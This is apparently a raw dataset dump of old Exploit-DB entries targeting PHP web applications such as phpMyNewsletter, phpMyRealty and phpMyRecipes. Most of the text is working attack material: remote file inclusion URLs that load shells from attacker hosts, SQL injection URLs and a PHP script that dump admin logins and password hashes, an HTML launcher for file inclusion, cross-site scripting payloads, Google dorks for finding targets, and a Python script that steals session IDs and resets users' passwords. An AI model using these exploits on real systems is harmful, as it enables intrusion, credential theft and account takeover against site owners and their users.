deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2578
Description: PHPMyManga 0.8.1 - 'template.php' Multiple File Inclusions
Type: webapps
Platform: php
Date: 2006-10-16
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ PhpMyManga <= 0.8.1 (template.php) Multiple File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Affected Software .: PhpMyManga <= 0.8.1
+ Vendor ............: http://phpmanga.sourceforge.net/
+ Description .......: "PhpMyManga is a web-based application for cataloging your collection of mangas."
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Input passed to the 'actionsPage' or 'formPage' parameter in template.php is not sanitized
+ before being used to include files.
+ 
+ Vulnerable Code:
+ template.php, line(s) 97-99: if (isSet($actionsPage)) { include($actionsPage); }
+ template.php, line(s)   115: include($formPage);
+ 
+ Proof Of Concept:
+ http://[target]/[path]/template.php?actionsPage=http://evilsite.com/shell.php?
+ http://[target]/[path]/template.php?formPage=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-16]
Exploit-DB #2488
Description: PHPMyNews 1.4 - 'cfg_include_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-08
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PHPMyNews 1.4 <= (cfg_include_dir) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:
http://membres.lycos.fr/fdproweb/fdproweb/php_scripts/phpmynews-1.4B1.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

require($cfg_include_dir.'langues/'.$cfg_language.'.inc'.$cfg_ext);
require($cfg_include_dir.'database/'.$cfg_database.'.inc'.$cfg_ext);
require($cfg_include_dir.'form.inc'.$cfg_ext);


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[phpmynews_path]/include/disp_form.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/disp_smileys.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/little_news.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/index.php3?cfg_include_dir=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, O.G,

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-08]
Exploit-DB #3658
Description: phpMyNewsletter 0.6.10 - 'customize.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-04
Author: frog-m@n

Exploit:
Product : phpMyNewsletter
Tested version : 0.6.10
Website : http://gregory.kokanosky.free.fr/phpmynewsletter/
Problem : include file

PHP code :
횂째횂째횂째횂째횂째횂째횂째횂째횂째횂째
---- /include/customize.php ----
<?
$langfile = $l;

include $l;
?>
---- /include/customize.php ----

Exploit :
횂째횂째횂째횂째횂째횂째횂째횂째횂째
http://[target]/include/customize.php?l=http://[attacker]/code.txt&text=Hello%20World
With in http://[attacker]/code.txt :
<? echo $text; ?>

or
http://[target]/include/customize.php?l=../path/file/to/view

Patch :
횂째횂째횂째횂째횂째횂째횂째
Autor has been alerted and last version (0.7beta1) has been patched.

More details
- in french :
http://www.frog-man.org/tutos/phpMyNewsletter.txt
- translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FphpMyNewsletter.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools

frog-m@n 

# milw0rm.com [2007-04-04]
Exploit-DB #21905
Description: phpMyNewsletter 0.6.10 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-10-03
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/5886/info

A vulnerability has been discovered in phpMyNewsLetter.

Reportedly, it is possible to pass an attacker-specified file include location to a CGI paramter of the 'customize.php' script. 

This may allow an attacker to execute arbitrary commands with the privileges of the webserver.

Additionally, an attacker may exploit this problem to view local webserver readable files.

http://[target]/include/customize.php?l=http://[attacker]/code.txt&text=Hello%20World
With in http://[attacker]/code.txt :
<? echo $text; ?>

or
http://[target]/include/customize.php?l=../path/file/to/view
Exploit-DB #5231
Description: phpMyNewsletter 0.8b5 - 'msg_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-10
Author: Charles Fol

Exploit:
#!/usr/bin/php
<?php
/*
 * Name:    PHPMyNewsletter <= 0.8b5 SQL Injection
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date:    03-10-08
 * Conditions: magic_quotes_gpc=Off
 *
 * This exploit gets admin_pass and admin_email from pmnl_config.
 */
 
print "\n";
print "   PHPMyNewsletter <= 0.8b5 SQL Injection\n";
print "       by real <charlesfol[at]hotmail.fr>\n\n";
 
if($argc<2) die("usage: php phpmynewsletter_sql.php <url>\n");
$url  = $argv[1];

$c = get($url."archives.php?msg_id='%20UNION%20SELECT%201,1,admin_email,admin_pass%20%20FROM%20pmnl_config%2f%2a&list_id=1");

if(preg_match("#<div class='archivetitle'>(.+) - 0000-00-00 00:00:00</div>#i",$c,$a) && preg_match("#<div class='subcontent'>\t([a-f0-9]{32})</div></div>#i",$c,$b))
{
	print "[*] Mail:\t$a[1]\n";
	print "[*] Password:\t$b[1]\n";
}
else
{
	print "[*] Exploit failed\n";
}

function get($url,$get=1)
{
	$result = '';
	preg_match("#^http://([^/]+)(/.*)$#i",$url,$infos);
	$host = $infos[1];
	$page = $infos[2];
	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
	
	$req  = "GET $page HTTP/1.1\r\n";
	$req .= "Host: $host\r\n";
	$req .= "User-Agent: Mozilla Firefox\r\n";
	$req .= "Connection: close\r\n\r\n";

	fputs($fp,$req);
	
	if($get) while(!feof($fp)) $result .= fgets($fp,128);
	
	fclose($fp);
	return $result;
}

?>

# milw0rm.com [2008-03-10]
Exploit-DB #3145
Description: PHPMyphorum 1.5a - '/mep/frame.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-17
Author: v1per-haCker

Exploit:
#########################################################################  
#                                                                       #                                            
#           [ PHPMyphorum 1.5a ]                                        #                           
#                                                                       #                                            
# Class:     File Include Vulnerability                                 #      
# Published  2007/1/17                                                  #                              
# Remote:    Yes                                                        #                                      
# Critical   Level : Dangerous                                          #                                                   
# Site:      http://www.comscripts.com/scripts/php.phpmyphorum.1104.html#        
# Author:    TheViper-hacker                                            #
# Contact:   theviper-hacker@hotmail.com        			#                          
#                       						#
#########################################################################
file ;
frame.php
======================================================
Vuln Code
include("$chem/session/cookie_sys_verif.php");
=======================================================
Exploit :        

Http:// www.Victem.0 / [Comment IT_path] /mep/frame.php?chem=http://turnkringonzehoop.be/viper.txt?
 

 ----  Thanx: [MoHaNdKo] [Cold ThreE] [cold zero] [The Wolf KSA]  ]organza[
 ---- GreeTz: All www.4azhar.Com Members Cont : rida-10@msn.com
--------------------------------------||  Viva ISLAM ||-----------------------------------------

# milw0rm.com [2007-01-17]
Exploit-DB #3879
Description: phpMyPortal 3.0.0 RC3 - GLOBALS[CHEMINMODULES] Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-09
Author: GoLd_M

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>phpMyPortal 3.0.0 RC3(GLOBALS[CHEMINMODULES])Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: phpMyPortal (22 acc.s) (Version 3.0.0 RC3 du 05/05/2007)
//'[Ex         : [Path_Script]/inc/articles.inc.php?GLOBALS[CHEMINMODULES]=Shell
//'[Author     : Mahmood_ali
//'[S.Page     : http://phpmyportal.info/menu.php <= Click T.l.chargez phpMyPortal
//'[$$         : Free
//'===============================================================================================

//'[[V.Code]]------------------------------------------------------
//'
//'require_once($GLOBALS['CHEMINMODULES'].'/forum/inc/nouvelle.inc.php');
//'
//'[[V.Code]]---------------------------------------------------------

//# Tryag.Com
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/inc/"
   var adres="/articles.inc.php?" //File name
   var acik ="GLOBALS[CHEMINMODULES]=" // Line 67
   var shell="http://www.spy-art.com/xx.txt?" // Shell Tryag-Team
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready 
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Arial" size="2" color="#FFFFFF">phpMyPortal 3.0.0 
RC3(GLOBALS[CHEMINMODULES])Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Tahoma" size="1" color="#FF0000">Target:</font><font face="Tahoma" size="1" color="#FFFF00">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Tahoma">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Lucida Handwriting" size="5" color="#FF0000">Mahmood_ali</font></b><p>
<b><a href="http://tryag.com/cc">
<font face="Lucida Handwriting" size="5" color="#FFFFFF">Tryag.-Team</font></a></b></p>
</p>
</center>
</body>

</html>

# milw0rm.com [2007-05-09]
Exploit-DB #2470
Description: phpMyProfiler 0.9.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-03
Author: mozi

Exploit:
# Author: mozi2weed@yahoo.com mozi
# phpMyProfiler Remote File Inclusion Vulnerability
# Greetz: Raver #phpfreaks eu.undernet.org
------------------------------------------------------------------
Download: http://sourceforge.net/projects/phpmyprofiler
------------------------------------------------------------------
require_once($pmp_rel_path . '/include/PEAR/HTTP.php');
_________________________________________________________________
googledork:phpMyProfiler

http://site.com/[path]/functions.php?pmp_rel_path=http://[Evil_scr
ipt]
PS:Whitehat aia de pe undernet sug pula!!!  Lameri boratzi
#phpfreaks rulz
# heh tnx

# milw0rm.com [2006-10-03]
Exploit-DB #30572
Description: PHPMyQuote 0.20 - '/index.php' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-10
Author: Yollubunlar.Org

Exploit:
source: https://www.securityfocus.com/bid/25615/info

phpMyQuote is prone to multiple input-validation vulnerabilities, including a cross-site scripting issue and an SQL-injection issue, because the application fails to sanitize user-supplied input.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code in a user's browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect phpMyQuote 0.20; other versions may also be vulnerable.

http://example.com/script_path/index.php?action=edit&id=[Sql injection]
http://example.com/script_path/index.php?action=edit&id=[XSS]
Exploit-DB #17695
Description: PHPMyRealty 1.0.7 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-19
Author: H4T$A

Exploit:
|=========================================================================================|
# Exploit Title: [phpMyRealty <= v. 1.0.7 SQL Injection Vulnerability]
# Google Dork: [intext:Sort By: Submission Date | Bedrooms | Bathrooms | 
Price (ASC) | Price (DESC)]
# Date: [19-8-2011]
# Author: [H4T$A]
# Software Link: [http://www.phpmyrealty.com/]
# Version: [v. 1.0.7]
# Tested on: [all versions are Vulnerability]
# |Contact:newboy62@live.com
#Gr33tz f0r th3 >> best egyption hacker >>> H4T$A
||=========================================================================================

Exploit :
       http://www.website.com/search.php?seed=640'

you can use Haivj SQL injection tool the easiest way to work with the 
exploit :)

remember you will change the link to >> ||search.php?seed=-640||before 
start using Haivj :)

||=========================================================================================|
Exploit-DB #6320
Description: PHPMyRealty 1.0.9 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-08-27
Author: ~!Dok_tOR!~

Exploit:
phpMyRealty <= 1.0.9 (pages.php id) Remote SQL Injection Vulnerability

 Author: ~!Dok_tOR!~
 Date found: 27.08.08
 Product: phpMyRealty
 Version: 1.0.7, 1.0.9
 Download script: http://rapidshare.com/files/123835319/phpMyRealty.v1.0.7.PHP-rs.rar
 Vulnerability Class: SQL Injection

 Exploit 1:

 http://localhost/[installdir]/pages.php?id=-999999+union+select+concat_ws(0x3a,login,password),2,3+from+pmr_admins/*

 Exploit 2:

 http://localhost/[installdir]/search.php?price_min=50000&price_max=-999999+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,login,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+from+pmr_admins/*

 Admin panel:

 http://localhost/[installdir]/admin/

 Dork: 

 Powered by phpMyRealty 1.0.7
 Powered by phpMyRealty.com

# milw0rm.com [2008-08-27]
Exploit-DB #4750
Description: PHPMyRealty 1.0.x - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-18
Author: Koller

Exploit:
# xaker.name & grabberz.com
#
#    .__                                          __.   
#    NN)    NNNN   JNNN` NNNN.   NNN NNNNNNNNNNN  NN)   
#    NN)    `NNN).NNNF  .NNNNN  (NN) """4NNN"""`  NN)   
#    NN)     (NNNNNN`   (NNNNN) NNN     (NNN      NN)   
#    NN)      4NNNN`    NNN(NNN.NNF     NNN)      NN)   
#    NN)     JNNNNL    (NN) NNNNNN)    (NNN       NN)   
#    NN)    JNNNNNN)   JNN` `NNNNN     JNNF       NN)   
#    NN)  .NNNF (NNN.  NNN   4NNN)     NNN)       NN)   
#    NN) JNNN`   NNNN (NN)    NNN`    (NNN        NN)   
#    NN)                                          NN)  
#    .__           http://xaker.name              __.
#
#
# script name      : phpMyRealty 1.0.x
# GoogLe Dork      : Powered by phpMyRealty
# Script demo      : www.phpmyrealty.com/demo/index.php
# The price        : $99.95
# Risk             : Average
# Found By         : Koller
# Thanks           : | robo9 | rijy | Concord | Helkern | Constantine | -St1ff- | .dot | @$_terr_X | b3 |
# Vulnerable files : search.php, findlistings.php

# Vuln : www.victim.com/search.php?type=-1+union+select+concat_ws(char(58),login,password)+from+pmr_admins
#        www.victim.com/search.php?type=-1+union+select+concat_ws(char(58),login,password)+from+pmr_users
#
# Admin panel: www.victim.com/admin/index.php
#
# Addon :) - sql-injection in findlistings.php
# www.victim.com/admin/findlistings.php?listing_updated=YES&listing_updated_days=1)+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/* 

# Contact: K0ller (at) hotmail (dot) CoM

# milw0rm.com [2007-12-18]
Exploit-DB #6180
Description: phpMyRealty 2.0.0 - 'location' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-01
Author: CraCkEr

Exploit:
????????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                 ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T              ??
???????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....       ?????
???????????????????????????????????????????????????????????????????????????????
??                           [ Remote SQL Injection ]                        ??
???????????????????????????????????????????????????????????????????????????????
: Author   : CraCkEr                   : :                                    :
? Group    : N/A                       ? ?                                    ?
? Script   : phpmyrealty               ? ?         Register Globals :         ?
? Download : phpmyrealty.com           ? ?                                    ?
? Critical : High [????????]           ? ?          [?] ON   [ ] OFF          ?
?                                      ? ?                                    ?
? ?????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                              ??
???????????????????????????????????????????????????????????????????????????????
:                                                                             :
?  Release Notes:                                                             ?
?  ?????????????                                                              ?
?  Typically used for remotely exploitable vulnerabilities that can lead to   ?
?  system compromise.                                                         ?
?                                                                             ?

???????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                 ??
???????????????????????????????????????????????????????????????????????????????

[SQL]

www.localhost/path/index.php?location=-1 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7 FROM pmr.pmr_2_admins--

Live Demo:

http://www.phpmyrealty.com/demo/index.php?location=-1 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7 FROM pmr.pmr_2_admins--



???????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, His0k4, Hussin X, Mr. SQL .




???????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
???????????????????????????????????????????????????????????????????????????????


# milw0rm.com [2008-08-01]
Exploit-DB #38333
Description: phpMyRecipes - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-25
Author: PDS

Exploit:
source: https://www.securityfocus.com/bid/58160/info

phpMyRecipes is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks may also be possible.

phpMyRecipes 1.2.2 is vulnerable; other versions may also be affected. 

POST /recipes/addrecipe.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

r_name="><script>alert(0)</script>&r_category=13&r_servings=1&r_difficulty=1&i_qty=&i_unit=4&i_item=0&i_item_text=&r_instructions="><script>alert(0)</script>
Exploit-DB #35365
Description: PHPMyRecipes 1.2.2 - 'dosearch.php?words_exact' SQL Injection
Type: webapps
Platform: php
Date: 2014-11-25
Author: bard

Exploit:
#!/usr/bin/python

import httplib
from bs4 import BeautifulSoup
import re
import os

###########
# Function that takes an SQL select statement and inject it into the words_exact variable of dosearch.php 
# Returns BeautifulSoup object 
###########
def sqli(select):
  inject = '"\' IN BOOLEAN MODE) UNION ' + select + '#'
  body = 'words_all=&words_exact=' + inject + '&words_any=&words_without=&name_exact=&ing_modifier=2'
  c = httplib.HTTPConnection('127.0.0.1:80')
  c.request("POST", '/phpMyRecipes/dosearch.php', body, headers)
  r = c.getresponse()
  html = r.read()
  return BeautifulSoup(html)

#############
# Variables #
#############
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Endocing": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded"}
select = 'SELECT userid,sessionID from sessions;'   # Modify the select statement to see what else you can do
data = {}

###########
# Run Injection and see what comes back
###########
soup = sqli(select)

###########
# Parse returned information with BeautifulSoup- store in data dictionary
###########
for ID in soup("a", text=re.compile(r"^.{32}$")):
  data[ID.string] = {}
  values = ['userid','username','cookieOK','privs','ts']
  for value in values:
   #select = "SELECT NULL,userid from sessions where sessionID='" + ID.string + "';"
   select = "SELECT NULL," + value + " from sessions where sessionID='" + ID.string + "';"
   soup = sqli(select)
   rval = soup("a")[-1].string
   data[ID.string][value] = rval

###########
# Loop through data- print session information and decide if you want to change a user's password
###########
for sessionid,values in data.iteritems():
 print "Session ID: " + sessionid
 for field,value in values.iteritems():
  print "\t" + field + ": " + value
 print("Do you want to change this user's password? (y/N)"),
 ans = 'N'
 ans = raw_input()
 goforth = re.compile("[Yy].*")
 if goforth.match(ans):
  print("Enter new password: "),
  os.system("stty -echo")
  password1 = raw_input()
  os.system("stty echo")
  print("\nAgain with the password: "),
  os.system("stty -echo")
  password2 = raw_input()
  os.system("stty echo")
  print ("")
  if password1 == password2:
   body = 'sid=' + sessionid + '&username=' + data[sessionid]['username'] + '&name=Hacked&email=hacked%40hacked.com&password1=' + password1 + '&password2=' + password1
   c = httplib.HTTPConnection('127.0.0.1:80')
   c.request("POST", '/phpMyRecipes/profile.php', body, headers)
   r = c.getresponse()
   html = r.read()
   print ("===================================")
   print BeautifulSoup(html)("p",{"class": "content"})[0].string
   print ("===================================\n\n")
  else:
   print "Passwords did not match"